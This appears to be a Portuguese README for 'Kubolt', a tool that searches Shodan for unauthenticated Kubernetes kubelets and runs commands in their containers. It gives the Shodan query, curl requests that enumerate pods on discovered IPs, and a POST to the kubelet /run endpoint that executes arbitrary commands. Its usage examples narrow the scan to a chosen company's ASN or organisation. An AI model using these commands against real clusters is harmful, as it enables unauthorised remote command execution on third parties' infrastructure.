
Utilitário Kubolt para escanear clusters Kubernetes públicos
Kubolt é um utilitário simples para escanear clusters Kubernetes públicos não autenticados e executar comandos dentro de contêineres
Às vezes, a porta 10250 do kubelet está aberta para acesso não autorizado e torna possível executar comandos dentro dos contêineres usando a função getrun do kubelet:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
Ok, vamos perguntar ao nosso amigo Shodan :trollface:
A consulta básica é
ssl:true port:10250 404
Kubelet usa a porta 10250 com SSL por padrão, 404 é a resposta HTTP sem caminho de URL.
Kubolt pede ao Shodan via API uma lista de endereços IP e os mantém para outras ações de OSINT 😁
Primeiramente, vamos pedir ao Kubelet os pods em execução e filtrar hosts onde a resposta não contenha Unauthorized e contenha container para que possamos executar comandos dentro dele.
curl -k https://IP-from-Shodan:10250/runningpods/
De qualquer forma, se você encontrar o host sem nenhum pod em execução no momento, guarde-o para a próxima vez que os pods possam ser iniciados 😁
Você pode listar todos os pods disponíveis a partir dessas requisições:
curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/
Em seguida, kubolt analisa a resposta e gera uma nova requisição como abaixo:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Você pode segmentar empresas com mais precisão usando filtros do Shodan como:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#or
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt usa a API do Shodan e Créditos de Consulta de acordo, se você executar a ferramenta sem filtros de consulta, provavelmente queimará todos os seus créditos ¯\_(ツ)_/¯

A ferramenta fornecida pelo autor deve ser usada apenas para fins educacionais. O autor não pode ser responsabilizado pelo uso indevido da ferramenta. O autor não é responsável por quaisquer danos diretos ou indiretos causados pelo uso da ferramenta.